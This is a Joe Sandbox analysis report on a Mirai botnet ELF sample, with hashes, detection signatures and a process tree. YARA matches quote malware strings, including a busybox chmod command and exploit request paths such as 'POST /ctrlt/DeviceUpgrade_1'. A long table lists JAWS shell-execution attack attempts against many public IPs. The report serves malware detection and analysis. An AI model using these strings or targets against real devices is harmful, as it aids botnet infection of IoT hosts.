Edit tour

Linux Analysis Report
mpsl.elf

Overview

General Information

Sample name:	mpsl.elf
Analysis ID:	1567830
MD5:	58795d4c9d5f620b48ccf3a5a15d1901
SHA1:	4163f71b6cfbdd2a860654b2c02c821af400ab5c
SHA256:	e6e192914b00a8295a96acf98020aab0c3db88329b0d0b209e99682e6c6492e1
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567830
Start date and time:	2024-12-03 22:11:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	mpsl.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/0@25/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: mpsl.elf

Runtime Messages

Command:	/tmp/mpsl.elf
PID:	6221
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

mpsl.elf (PID: 6221, Parent: 6139, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/mpsl.elf

mpsl.elf New Fork (PID: 6223, Parent: 6221)

mpsl.elf New Fork (PID: 6225, Parent: 6223)

mpsl.elf New Fork (PID: 6227, Parent: 6223)

mpsl.elf New Fork (PID: 6230, Parent: 6223)

mpsl.elf New Fork (PID: 6233, Parent: 6223)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
mpsl.elf	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
mpsl.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
mpsl.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
mpsl.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x14a7e:$x2: /bin/busybox chmod 777 * /tmp/ 0x147d4:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x14720:$s3: POST /cdn-cgi/
mpsl.elf	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x14720:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A

Memory Dumps

Source	Rule	Description	Author	Strings
6225.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6225.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6225.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6225.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x14a7e:$x2: /bin/busybox chmod 777 * /tmp/ 0x147d4:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x14720:$s3: POST /cdn-cgi/
6225.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x14720:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
6221.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6221.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6221.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6221.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x14a7e:$x2: /bin/busybox chmod 777 * /tmp/ 0x147d4:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0x14720:$s3: POST /cdn-cgi/
6221.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0x14720:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Process Memory Space: mpsl.elf PID: 6221	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: mpsl.elf PID: 6225	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 7 entries

Suricata Signatures

ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T22:11:52.043183+0100	2030092	1	Web Application Attack	192.168.2.23	41454	13.227.133.150	80	TCP
2024-12-03T22:11:52.044405+0100	2030092	1	Web Application Attack	192.168.2.23	43764	185.248.148.162	80	TCP
2024-12-03T22:11:52.220853+0100	2030092	1	Web Application Attack	192.168.2.23	54008	209.250.24.111	80	TCP
2024-12-03T22:11:52.953349+0100	2030092	1	Web Application Attack	192.168.2.23	34016	121.127.51.127	80	TCP
2024-12-03T22:11:53.316258+0100	2030092	1	Web Application Attack	192.168.2.23	38726	175.229.50.139	80	TCP
2024-12-03T22:11:53.505517+0100	2030092	1	Web Application Attack	192.168.2.23	41758	211.248.1.241	80	TCP
2024-12-03T22:11:53.856292+0100	2030092	1	Web Application Attack	192.168.2.23	60026	112.155.127.190	80	TCP
2024-12-03T22:11:58.632468+0100	2030092	1	Web Application Attack	192.168.2.23	45254	185.159.154.104	80	TCP
2024-12-03T22:11:59.085094+0100	2030092	1	Web Application Attack	192.168.2.23	43082	65.9.66.156	80	TCP
2024-12-03T22:12:05.144215+0100	2030092	1	Web Application Attack	192.168.2.23	58464	156.233.119.35	80	TCP
2024-12-03T22:12:05.381189+0100	2030092	1	Web Application Attack	192.168.2.23	55366	38.12.53.231	80	TCP
2024-12-03T22:12:08.261944+0100	2030092	1	Web Application Attack	192.168.2.23	59254	35.156.77.102	80	TCP
2024-12-03T22:12:09.868068+0100	2030092	1	Web Application Attack	192.168.2.23	38762	51.134.184.47	80	TCP
2024-12-03T22:12:09.893063+0100	2030092	1	Web Application Attack	192.168.2.23	49774	115.148.141.242	80	TCP
2024-12-03T22:12:09.940044+0100	2030092	1	Web Application Attack	192.168.2.23	47296	60.49.222.42	80	TCP
2024-12-03T22:12:09.955877+0100	2030092	1	Web Application Attack	192.168.2.23	43438	140.106.83.149	80	TCP
2024-12-03T22:12:09.962254+0100	2030092	1	Web Application Attack	192.168.2.23	56342	77.64.164.173	80	TCP
2024-12-03T22:12:09.977723+0100	2030092	1	Web Application Attack	192.168.2.23	60248	217.26.115.252	80	TCP
2024-12-03T22:12:09.993246+0100	2030092	1	Web Application Attack	192.168.2.23	60630	170.111.11.90	80	TCP
2024-12-03T22:12:09.993414+0100	2030092	1	Web Application Attack	192.168.2.23	56886	180.14.36.140	80	TCP
2024-12-03T22:12:10.009602+0100	2030092	1	Web Application Attack	192.168.2.23	51872	217.229.54.255	80	TCP
2024-12-03T22:12:10.024940+0100	2030092	1	Web Application Attack	192.168.2.23	42484	144.30.94.29	80	TCP
2024-12-03T22:12:10.026015+0100	2030092	1	Web Application Attack	192.168.2.23	58948	188.239.8.166	80	TCP
2024-12-03T22:12:10.027811+0100	2030092	1	Web Application Attack	192.168.2.23	46362	14.141.3.196	80	TCP
2024-12-03T22:12:10.050343+0100	2030092	1	Web Application Attack	192.168.2.23	43048	77.9.102.153	80	TCP
2024-12-03T22:12:10.050343+0100	2030092	1	Web Application Attack	192.168.2.23	38370	158.241.3.93	80	TCP
2024-12-03T22:12:10.050601+0100	2030092	1	Web Application Attack	192.168.2.23	54236	160.247.51.9	80	TCP
2024-12-03T22:12:10.080488+0100	2030092	1	Web Application Attack	192.168.2.23	42346	54.224.48.72	80	TCP
2024-12-03T22:12:10.096576+0100	2030092	1	Web Application Attack	192.168.2.23	34558	59.75.42.59	80	TCP
2024-12-03T22:12:10.883806+0100	2030092	1	Web Application Attack	192.168.2.23	43644	60.191.15.52	80	TCP
2024-12-03T22:12:10.893307+0100	2030092	1	Web Application Attack	192.168.2.23	36434	112.17.46.206	80	TCP
2024-12-03T22:12:10.896761+0100	2030092	1	Web Application Attack	192.168.2.23	60898	88.204.40.127	80	TCP
2024-12-03T22:12:10.899585+0100	2030092	1	Web Application Attack	192.168.2.23	53186	166.46.184.48	80	TCP
2024-12-03T22:12:10.914990+0100	2030092	1	Web Application Attack	192.168.2.23	53302	138.253.99.143	80	TCP
2024-12-03T22:12:10.973284+0100	2030092	1	Web Application Attack	192.168.2.23	38304	39.59.187.16	80	TCP
2024-12-03T22:12:10.977698+0100	2030092	1	Web Application Attack	192.168.2.23	49726	154.225.38.211	80	TCP
2024-12-03T22:12:11.018191+0100	2030092	1	Web Application Attack	192.168.2.23	34944	2.92.50.4	80	TCP
2024-12-03T22:12:11.143169+0100	2030092	1	Web Application Attack	192.168.2.23	46704	49.62.38.109	80	TCP
2024-12-03T22:12:11.189976+0100	2030092	1	Web Application Attack	192.168.2.23	48880	191.220.213.75	80	TCP
2024-12-03T22:12:11.196384+0100	2030092	1	Web Application Attack	192.168.2.23	53606	150.209.61.21	80	TCP
2024-12-03T22:12:11.196474+0100	2030092	1	Web Application Attack	192.168.2.23	52702	58.54.216.137	80	TCP
2024-12-03T22:12:11.196638+0100	2030092	1	Web Application Attack	192.168.2.23	47048	8.159.135.62	80	TCP
2024-12-03T22:12:11.221364+0100	2030092	1	Web Application Attack	192.168.2.23	52218	85.100.167.15	80	TCP
2024-12-03T22:12:11.236874+0100	2030092	1	Web Application Attack	192.168.2.23	41196	204.184.249.105	80	TCP
2024-12-03T22:12:11.542539+0100	2030092	1	Web Application Attack	192.168.2.23	42896	216.31.154.98	80	TCP
2024-12-03T22:12:12.900788+0100	2030092	1	Web Application Attack	192.168.2.23	34322	192.122.106.149	80	TCP
2024-12-03T22:12:12.904492+0100	2030092	1	Web Application Attack	192.168.2.23	38692	90.128.45.194	80	TCP
2024-12-03T22:12:12.918043+0100	2030092	1	Web Application Attack	192.168.2.23	34300	67.109.205.61	80	TCP
2024-12-03T22:12:12.918172+0100	2030092	1	Web Application Attack	192.168.2.23	43310	168.141.43.142	80	TCP
2024-12-03T22:12:12.921055+0100	2030092	1	Web Application Attack	192.168.2.23	49912	178.168.125.118	80	TCP
2024-12-03T22:12:12.923703+0100	2030092	1	Web Application Attack	192.168.2.23	50038	189.113.25.114	80	TCP
2024-12-03T22:12:12.931367+0100	2030092	1	Web Application Attack	192.168.2.23	41848	91.168.168.177	80	TCP
2024-12-03T22:12:12.933122+0100	2030092	1	Web Application Attack	192.168.2.23	58830	133.23.65.66	80	TCP
2024-12-03T22:12:12.933246+0100	2030092	1	Web Application Attack	192.168.2.23	33988	121.123.242.60	80	TCP
2024-12-03T22:12:12.933678+0100	2030092	1	Web Application Attack	192.168.2.23	34302	204.35.166.113	80	TCP
2024-12-03T22:12:12.934541+0100	2030092	1	Web Application Attack	192.168.2.23	37286	62.248.199.225	80	TCP
2024-12-03T22:12:12.935547+0100	2030092	1	Web Application Attack	192.168.2.23	51360	25.56.170.39	80	TCP
2024-12-03T22:12:12.940916+0100	2030092	1	Web Application Attack	192.168.2.23	37886	42.54.179.203	80	TCP
2024-12-03T22:12:12.942456+0100	2030092	1	Web Application Attack	192.168.2.23	38806	52.200.155.160	80	TCP
2024-12-03T22:12:12.942859+0100	2030092	1	Web Application Attack	192.168.2.23	46792	39.26.141.128	80	TCP
2024-12-03T22:12:12.943617+0100	2030092	1	Web Application Attack	192.168.2.23	45662	175.207.62.8	80	TCP
2024-12-03T22:12:12.947736+0100	2030092	1	Web Application Attack	192.168.2.23	51100	157.10.232.130	80	TCP
2024-12-03T22:12:12.947789+0100	2030092	1	Web Application Attack	192.168.2.23	47182	165.71.235.9	80	TCP
2024-12-03T22:12:12.948718+0100	2030092	1	Web Application Attack	192.168.2.23	55548	51.132.116.166	80	TCP
2024-12-03T22:12:12.956731+0100	2030092	1	Web Application Attack	192.168.2.23	33760	89.237.234.81	80	TCP
2024-12-03T22:12:12.956952+0100	2030092	1	Web Application Attack	192.168.2.23	60458	177.109.45.183	80	TCP
2024-12-03T22:12:12.973799+0100	2030092	1	Web Application Attack	192.168.2.23	43952	120.47.138.87	80	TCP
2024-12-03T22:12:12.974078+0100	2030092	1	Web Application Attack	192.168.2.23	56182	114.255.133.213	80	TCP
2024-12-03T22:12:12.974081+0100	2030092	1	Web Application Attack	192.168.2.23	35800	100.44.128.127	80	TCP
2024-12-03T22:12:12.974280+0100	2030092	1	Web Application Attack	192.168.2.23	39936	220.40.166.42	80	TCP
2024-12-03T22:12:12.974712+0100	2030092	1	Web Application Attack	192.168.2.23	39260	222.183.121.253	80	TCP
2024-12-03T22:12:12.998544+0100	2030092	1	Web Application Attack	192.168.2.23	47096	2.111.72.125	80	TCP
2024-12-03T22:12:13.009357+0100	2030092	1	Web Application Attack	192.168.2.23	56952	44.96.228.159	80	TCP
2024-12-03T22:12:13.009595+0100	2030092	1	Web Application Attack	192.168.2.23	47846	113.202.243.27	80	TCP
2024-12-03T22:12:13.009841+0100	2030092	1	Web Application Attack	192.168.2.23	32856	9.180.125.203	80	TCP
2024-12-03T22:12:13.061461+0100	2030092	1	Web Application Attack	192.168.2.23	55588	182.114.118.150	80	TCP
2024-12-03T22:12:13.061762+0100	2030092	1	Web Application Attack	192.168.2.23	57734	87.124.13.206	80	TCP
2024-12-03T22:12:13.061920+0100	2030092	1	Web Application Attack	192.168.2.23	36480	59.234.43.201	80	TCP
2024-12-03T22:12:13.062441+0100	2030092	1	Web Application Attack	192.168.2.23	41228	13.209.9.211	80	TCP
2024-12-03T22:12:13.062562+0100	2030092	1	Web Application Attack	192.168.2.23	36822	151.234.254.75	80	TCP
2024-12-03T22:12:13.062562+0100	2030092	1	Web Application Attack	192.168.2.23	48390	152.61.133.39	80	TCP
2024-12-03T22:12:13.063110+0100	2030092	1	Web Application Attack	192.168.2.23	58150	69.165.68.106	80	TCP
2024-12-03T22:12:13.063251+0100	2030092	1	Web Application Attack	192.168.2.23	48936	52.233.176.82	80	TCP
2024-12-03T22:12:13.063338+0100	2030092	1	Web Application Attack	192.168.2.23	45902	84.71.252.104	80	TCP
2024-12-03T22:12:13.063456+0100	2030092	1	Web Application Attack	192.168.2.23	55360	101.242.71.7	80	TCP
2024-12-03T22:12:13.063847+0100	2030092	1	Web Application Attack	192.168.2.23	45352	151.117.200.130	80	TCP
2024-12-03T22:12:13.063855+0100	2030092	1	Web Application Attack	192.168.2.23	33174	46.218.150.180	80	TCP
2024-12-03T22:12:13.064322+0100	2030092	1	Web Application Attack	192.168.2.23	51264	57.234.210.229	80	TCP
2024-12-03T22:12:13.064522+0100	2030092	1	Web Application Attack	192.168.2.23	56064	91.179.4.197	80	TCP
2024-12-03T22:12:13.080702+0100	2030092	1	Web Application Attack	192.168.2.23	57556	172.13.154.229	80	TCP
2024-12-03T22:12:13.081086+0100	2030092	1	Web Application Attack	192.168.2.23	50506	195.46.36.83	80	TCP
2024-12-03T22:12:13.081094+0100	2030092	1	Web Application Attack	192.168.2.23	57494	68.131.78.173	80	TCP
2024-12-03T22:12:13.096338+0100	2030092	1	Web Application Attack	192.168.2.23	50796	69.224.65.58	80	TCP
2024-12-03T22:12:13.112017+0100	2030092	1	Web Application Attack	192.168.2.23	44620	216.84.178.95	80	TCP
2024-12-03T22:12:13.112156+0100	2030092	1	Web Application Attack	192.168.2.23	42260	156.240.241.216	80	TCP
2024-12-03T22:12:13.133901+0100	2030092	1	Web Application Attack	192.168.2.23	57274	178.58.251.176	80	TCP
2024-12-03T22:12:13.190019+0100	2030092	1	Web Application Attack	192.168.2.23	33418	31.114.90.41	80	TCP
2024-12-03T22:12:13.205546+0100	2030092	1	Web Application Attack	192.168.2.23	42100	170.223.253.82	80	TCP
2024-12-03T22:12:14.040125+0100	2030092	1	Web Application Attack	192.168.2.23	60986	97.146.133.90	80	TCP
2024-12-03T22:12:14.040364+0100	2030092	1	Web Application Attack	192.168.2.23	45478	112.94.207.133	80	TCP
2024-12-03T22:12:14.040366+0100	2030092	1	Web Application Attack	192.168.2.23	57902	190.176.20.128	80	TCP
2024-12-03T22:12:14.055857+0100	2030092	1	Web Application Attack	192.168.2.23	45088	89.77.49.90	80	TCP
2024-12-03T22:12:14.071345+0100	2030092	1	Web Application Attack	192.168.2.23	36618	159.47.73.163	80	TCP
2024-12-03T22:12:14.080706+0100	2030092	1	Web Application Attack	192.168.2.23	34368	123.63.252.212	80	TCP
2024-12-03T22:12:14.087031+0100	2030092	1	Web Application Attack	192.168.2.23	39504	35.37.81.75	80	TCP
2024-12-03T22:12:14.087383+0100	2030092	1	Web Application Attack	192.168.2.23	42658	72.98.186.118	80	TCP
2024-12-03T22:12:14.087558+0100	2030092	1	Web Application Attack	192.168.2.23	39860	179.41.60.148	80	TCP
2024-12-03T22:12:14.096364+0100	2030092	1	Web Application Attack	192.168.2.23	45656	140.76.241.6	80	TCP
2024-12-03T22:12:14.096560+0100	2030092	1	Web Application Attack	192.168.2.23	60942	132.243.143.161	80	TCP
2024-12-03T22:12:14.096763+0100	2030092	1	Web Application Attack	192.168.2.23	38518	205.91.17.173	80	TCP
2024-12-03T22:12:14.096768+0100	2030092	1	Web Application Attack	192.168.2.23	40970	134.42.74.112	80	TCP
2024-12-03T22:12:14.102726+0100	2030092	1	Web Application Attack	192.168.2.23	33462	151.235.178.124	80	TCP
2024-12-03T22:12:14.111984+0100	2030092	1	Web Application Attack	192.168.2.23	37528	155.120.96.18	80	TCP
2024-12-03T22:12:14.112113+0100	2030092	1	Web Application Attack	192.168.2.23	38094	77.145.142.253	80	TCP
2024-12-03T22:12:14.112228+0100	2030092	1	Web Application Attack	192.168.2.23	37986	133.83.247.90	80	TCP
2024-12-03T22:12:14.112257+0100	2030092	1	Web Application Attack	192.168.2.23	58042	220.107.18.26	80	TCP
2024-12-03T22:12:14.112294+0100	2030092	1	Web Application Attack	192.168.2.23	45776	201.42.80.185	80	TCP
2024-12-03T22:12:14.143453+0100	2030092	1	Web Application Attack	192.168.2.23	40004	98.103.8.79	80	TCP
2024-12-03T22:12:14.143666+0100	2030092	1	Web Application Attack	192.168.2.23	58750	203.199.224.170	80	TCP
2024-12-03T22:12:14.274588+0100	2030092	1	Web Application Attack	192.168.2.23	37922	92.13.254.172	80	TCP
2024-12-03T22:12:14.274605+0100	2030092	1	Web Application Attack	192.168.2.23	57990	179.139.164.55	80	TCP
2024-12-03T22:12:14.306016+0100	2030092	1	Web Application Attack	192.168.2.23	44822	24.30.197.102	80	TCP
2024-12-03T22:12:14.315472+0100	2030092	1	Web Application Attack	192.168.2.23	54656	93.254.60.25	80	TCP
2024-12-03T22:12:14.315841+0100	2030092	1	Web Application Attack	192.168.2.23	34700	123.143.40.243	80	TCP
2024-12-03T22:12:14.337696+0100	2030092	1	Web Application Attack	192.168.2.23	47578	13.196.196.235	80	TCP
2024-12-03T22:12:14.346292+0100	2030092	1	Web Application Attack	192.168.2.23	53214	65.236.202.115	80	TCP
2024-12-03T22:12:14.346408+0100	2030092	1	Web Application Attack	192.168.2.23	42318	167.115.243.47	80	TCP
2024-12-03T22:12:14.377641+0100	2030092	1	Web Application Attack	192.168.2.23	40266	36.128.111.41	80	TCP
2024-12-03T22:12:14.377685+0100	2030092	1	Web Application Attack	192.168.2.23	53218	113.28.235.30	80	TCP
2024-12-03T22:12:14.377828+0100	2030092	1	Web Application Attack	192.168.2.23	37190	4.207.41.110	80	TCP
2024-12-03T22:12:15.307457+0100	2030092	1	Web Application Attack	192.168.2.23	57970	85.19.189.63	80	TCP
2024-12-03T22:12:15.346329+0100	2030092	1	Web Application Attack	192.168.2.23	43134	72.124.120.20	80	TCP
2024-12-03T22:12:15.346869+0100	2030092	1	Web Application Attack	192.168.2.23	57792	50.183.212.32	80	TCP
2024-12-03T22:12:15.643547+0100	2030092	1	Web Application Attack	192.168.2.23	45648	220.77.138.145	80	TCP
2024-12-03T22:12:15.643559+0100	2030092	1	Web Application Attack	192.168.2.23	33884	143.229.68.126	80	TCP
2024-12-03T22:12:15.971233+0100	2030092	1	Web Application Attack	192.168.2.23	43908	192.171.193.125	80	TCP
2024-12-03T22:12:16.181000+0100	2030092	1	Web Application Attack	192.168.2.23	52082	128.238.186.37	80	TCP
2024-12-03T22:12:16.196832+0100	2030092	1	Web Application Attack	192.168.2.23	48038	104.201.153.104	80	TCP
2024-12-03T22:12:16.205729+0100	2030092	1	Web Application Attack	192.168.2.23	45294	129.161.63.20	80	TCP
2024-12-03T22:12:16.284131+0100	2030092	1	Web Application Attack	192.168.2.23	33058	168.46.253.58	80	TCP
2024-12-03T22:12:16.290029+0100	2030092	1	Web Application Attack	192.168.2.23	46618	24.101.117.10	80	TCP
2024-12-03T22:12:16.368363+0100	2030092	1	Web Application Attack	192.168.2.23	36394	213.129.144.154	80	TCP
2024-12-03T22:12:17.556024+0100	2030092	1	Web Application Attack	192.168.2.23	35174	49.234.44.240	80	TCP
2024-12-03T22:12:17.572057+0100	2030092	1	Web Application Attack	192.168.2.23	40326	193.30.24.101	80	TCP
2024-12-03T22:12:17.587101+0100	2030092	1	Web Application Attack	192.168.2.23	58094	165.57.79.173	80	TCP
2024-12-03T22:12:17.587240+0100	2030092	1	Web Application Attack	192.168.2.23	38614	145.211.196.152	80	TCP
2024-12-03T22:12:17.676949+0100	2030092	1	Web Application Attack	192.168.2.23	40892	162.132.171.68	80	TCP
2024-12-03T22:12:17.676950+0100	2030092	1	Web Application Attack	192.168.2.23	43660	50.153.197.44	80	TCP
2024-12-03T22:12:17.676959+0100	2030092	1	Web Application Attack	192.168.2.23	50050	83.202.167.205	80	TCP
2024-12-03T22:12:17.676959+0100	2030092	1	Web Application Attack	192.168.2.23	41484	124.56.130.85	80	TCP
2024-12-03T22:12:17.676959+0100	2030092	1	Web Application Attack	192.168.2.23	59968	200.45.13.12	80	TCP
2024-12-03T22:12:17.676960+0100	2030092	1	Web Application Attack	192.168.2.23	45184	75.15.104.162	80	TCP
2024-12-03T22:12:17.676961+0100	2030092	1	Web Application Attack	192.168.2.23	45616	66.116.195.48	80	TCP
2024-12-03T22:12:17.676963+0100	2030092	1	Web Application Attack	192.168.2.23	37020	24.100.84.87	80	TCP
2024-12-03T22:12:17.676963+0100	2030092	1	Web Application Attack	192.168.2.23	48358	121.166.170.173	80	TCP
2024-12-03T22:12:18.618455+0100	2030092	1	Web Application Attack	192.168.2.23	38270	169.247.250.168	80	TCP
2024-12-03T22:12:18.681205+0100	2030092	1	Web Application Attack	192.168.2.23	47278	201.19.217.8	80	TCP
2024-12-03T22:12:18.696507+0100	2030092	1	Web Application Attack	192.168.2.23	41488	57.77.154.206	80	TCP
2024-12-03T22:12:18.696518+0100	2030092	1	Web Application Attack	192.168.2.23	35208	210.29.183.145	80	TCP
2024-12-03T22:12:18.727485+0100	2030092	1	Web Application Attack	192.168.2.23	40238	178.171.45.145	80	TCP
2024-12-03T22:12:18.729406+0100	2030092	1	Web Application Attack	192.168.2.23	49284	217.102.222.209	80	TCP
2024-12-03T22:12:18.729661+0100	2030092	1	Web Application Attack	192.168.2.23	47894	139.51.191.171	80	TCP
2024-12-03T22:12:18.759244+0100	2030092	1	Web Application Attack	192.168.2.23	57446	139.139.2.17	80	TCP
2024-12-03T22:12:18.768478+0100	2030092	1	Web Application Attack	192.168.2.23	32926	133.205.30.205	80	TCP
2024-12-03T22:12:18.808846+0100	2030092	1	Web Application Attack	192.168.2.23	52462	142.50.5.178	80	TCP
2024-12-03T22:12:18.809013+0100	2030092	1	Web Application Attack	192.168.2.23	45658	197.214.144.74	80	TCP
2024-12-03T22:12:18.811782+0100	2030092	1	Web Application Attack	192.168.2.23	49460	162.215.180.62	80	TCP
2024-12-03T22:12:19.352699+0100	2030092	1	Web Application Attack	192.168.2.23	54928	4.29.253.50	80	TCP
2024-12-03T22:12:19.384103+0100	2030092	1	Web Application Attack	192.168.2.23	44096	177.25.213.167	80	TCP
2024-12-03T22:12:19.385138+0100	2030092	1	Web Application Attack	192.168.2.23	32996	204.33.164.130	80	TCP
2024-12-03T22:12:19.393307+0100	2030092	1	Web Application Attack	192.168.2.23	38024	19.208.57.186	80	TCP
2024-12-03T22:12:19.393464+0100	2030092	1	Web Application Attack	192.168.2.23	54408	203.50.8.113	80	TCP
2024-12-03T22:12:19.425264+0100	2030092	1	Web Application Attack	192.168.2.23	50182	73.150.237.197	80	TCP
2024-12-03T22:12:19.440286+0100	2030092	1	Web Application Attack	192.168.2.23	38046	213.89.187.153	80	TCP
2024-12-03T22:12:19.440549+0100	2030092	1	Web Application Attack	192.168.2.23	45788	23.105.251.53	80	TCP
2024-12-03T22:12:19.440623+0100	2030092	1	Web Application Attack	192.168.2.23	53908	162.156.93.202	80	TCP
2024-12-03T22:12:19.440851+0100	2030092	1	Web Application Attack	192.168.2.23	48346	2.51.143.104	80	TCP
2024-12-03T22:12:19.462009+0100	2030092	1	Web Application Attack	192.168.2.23	58578	82.133.175.110	80	TCP
2024-12-03T22:12:19.462121+0100	2030092	1	Web Application Attack	192.168.2.23	58930	152.138.96.232	80	TCP
2024-12-03T22:12:19.462256+0100	2030092	1	Web Application Attack	192.168.2.23	54798	68.59.246.174	80	TCP
2024-12-03T22:12:19.462317+0100	2030092	1	Web Application Attack	192.168.2.23	48536	74.215.79.226	80	TCP
2024-12-03T22:12:19.509034+0100	2030092	1	Web Application Attack	192.168.2.23	60318	37.222.45.109	80	TCP
2024-12-03T22:12:19.549622+0100	2030092	1	Web Application Attack	192.168.2.23	50306	219.159.123.120	80	TCP
2024-12-03T22:12:19.549622+0100	2030092	1	Web Application Attack	192.168.2.23	38084	38.252.33.188	80	TCP
2024-12-03T22:12:19.549653+0100	2030092	1	Web Application Attack	192.168.2.23	39144	130.164.233.87	80	TCP
2024-12-03T22:12:19.549842+0100	2030092	1	Web Application Attack	192.168.2.23	46412	59.225.143.231	80	TCP
2024-12-03T22:12:19.946961+0100	2030092	1	Web Application Attack	192.168.2.23	37412	34.131.129.136	80	TCP
2024-12-03T22:12:19.977879+0100	2030092	1	Web Application Attack	192.168.2.23	41622	67.52.176.63	80	TCP
2024-12-03T22:12:20.003088+0100	2030092	1	Web Application Attack	192.168.2.23	59166	112.129.158.137	80	TCP
2024-12-03T22:12:20.009705+0100	2030092	1	Web Application Attack	192.168.2.23	52374	129.144.14.38	80	TCP
2024-12-03T22:12:20.018603+0100	2030092	1	Web Application Attack	192.168.2.23	59420	119.57.157.97	80	TCP
2024-12-03T22:12:20.018609+0100	2030092	1	Web Application Attack	192.168.2.23	59310	79.212.17.233	80	TCP
2024-12-03T22:12:20.018765+0100	2030092	1	Web Application Attack	192.168.2.23	57840	44.117.142.118	80	TCP
2024-12-03T22:12:20.018860+0100	2030092	1	Web Application Attack	192.168.2.23	50408	190.100.222.121	80	TCP
2024-12-03T22:12:20.019268+0100	2030092	1	Web Application Attack	192.168.2.23	55756	184.67.228.6	80	TCP
2024-12-03T22:12:20.049508+0100	2030092	1	Web Application Attack	192.168.2.23	56192	49.106.166.45	80	TCP
2024-12-03T22:12:20.049578+0100	2030092	1	Web Application Attack	192.168.2.23	41556	138.126.42.137	80	TCP
2024-12-03T22:12:20.509205+0100	2030092	1	Web Application Attack	192.168.2.23	46394	81.44.34.58	80	TCP
